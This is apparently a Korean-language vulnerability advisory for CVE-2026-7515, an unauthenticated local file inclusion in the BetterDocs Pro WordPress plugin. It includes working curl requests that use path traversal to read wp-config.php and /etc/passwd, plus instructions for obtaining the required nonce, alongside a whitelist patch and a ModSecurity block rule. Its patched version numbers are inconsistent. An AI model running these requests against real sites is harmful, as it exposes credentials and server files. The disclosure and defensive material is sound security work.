
인증되지 않은 로컬 파일 포함
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-7515 |
| CVSS 점수 | 9.8 (치명적) |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향 받는 버전 | BetterDocs Pro <= 3.8.0 |
| 패치된 버전 | 3.8.1 |
| 연구자 | Nguyen Ngoc Duc (duc193) |
| 게시일 | 2026년 6월 18일 |
| CWE | CWE-98: 파일 포함/요청문의 파일명 제어 부적절 |
WordPress용 BetterDocs Pro 플러그인은 버전 3.8.0까지 doc_style 매개변수를 통해 로컬 파일 포함(Local File Inclusion) 에 취약합니다. 이를 통해 인증되지 않은 공격자가 서버에서 임의의 PHP 파일을 포함하고 실행할 수 있습니다.
파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
라인: 141
// 취약 코드 (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
문제점: $_POST['doc_style']에서 가져온 사용자 제어 입력이 검증 없이 직접 사용됩니다.
파일: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
라인: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
문제점: $doc_style 변수(사용자 제어)가 views->get()에 전달되는 파일 경로에 직접 포함되어 파일을 포함합니다.
HTTP POST 요청
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
검증 없음 (취약 버전 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
include() 또는 require()를 통한 파일 포함
↓
임의 PHP 코드 실행 / 파일 읽기
// includes/Core/Encyclopedia.php의 141번째 줄
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// includes/Core/Encyclopedia.php의 145-148번째 줄
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
두 엔드포인트 모두 nopriv 훅으로 등록되어 있어 인증되지 않은 사용자도 접근할 수 있습니다:
// 17-18번째 줄
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// 20-21번째 줄
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce (BetterDocs Encyclopedia 블록이 렌더링된 페이지의 소스 코드에서 찾을 수 있음)# 1단계: wp-config.php 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# 2단계: /etc/passwd 읽기
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
encyclopedia_nonce는 BetterDocs Encyclopedia 블록이 렌더링된 페이지의 JavaScript에 노출됩니다:
// betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- 이것이 필요합니다
};
BetterDocs Pro 버전 3.8.1 이상으로 업데이트
includes/Core/Encyclopedia.php에 다음 패치를 적용하세요:
// 141번째 줄을 다음으로 교체:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
236번째 줄에도 동일한 수정을 적용하세요.
doc_style 매개변수의 경로 탐색을 차단하는 규칙을 추가하세요:
# doc_style의 경로 탐색 패턴 차단
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI 시도 차단됨'"
취약 버전: betterdocs-pro_3.8.0.zip
패치 버전: betterdocs-pro_3.9.0.zip
주요 파일:
- includes/Core/Encyclopedia.php (취약)
- includes/Core/Scripts.php (nonce 생성 포함)
- includes/Utils/Views.php (파일 포함 로직)
| 측면 | 취약 버전 (3.8.0) | 패치 버전 (3.8.1) |
|---|
| 검증 | 없음 | in_array()를 사용한 화이트리스트 |
| 허용 값 | 모든 문자열 | doc-grid, doc-list, doc-list-2만 |
| 타입 검사 | 없음 | 엄격한 (===) 비교 |
| 영향 유형 | 심각도 | 설명 |
|---|
| 기밀성 | 높음 | 임의 파일 읽기 (wp-config.php, /etc/passwd 등) |
| 무결성 | 높음 | 파일 수정 또는 삭제 |
| 가용성 | 높음 | 서비스 거부 |
| 접근 경로 | 네트워크 | 원격 익스플로잇 가능 |
| 권한 | 없음 | 인증 불필요 |
| 사용자 상호작용 | 없음 | 불필요 |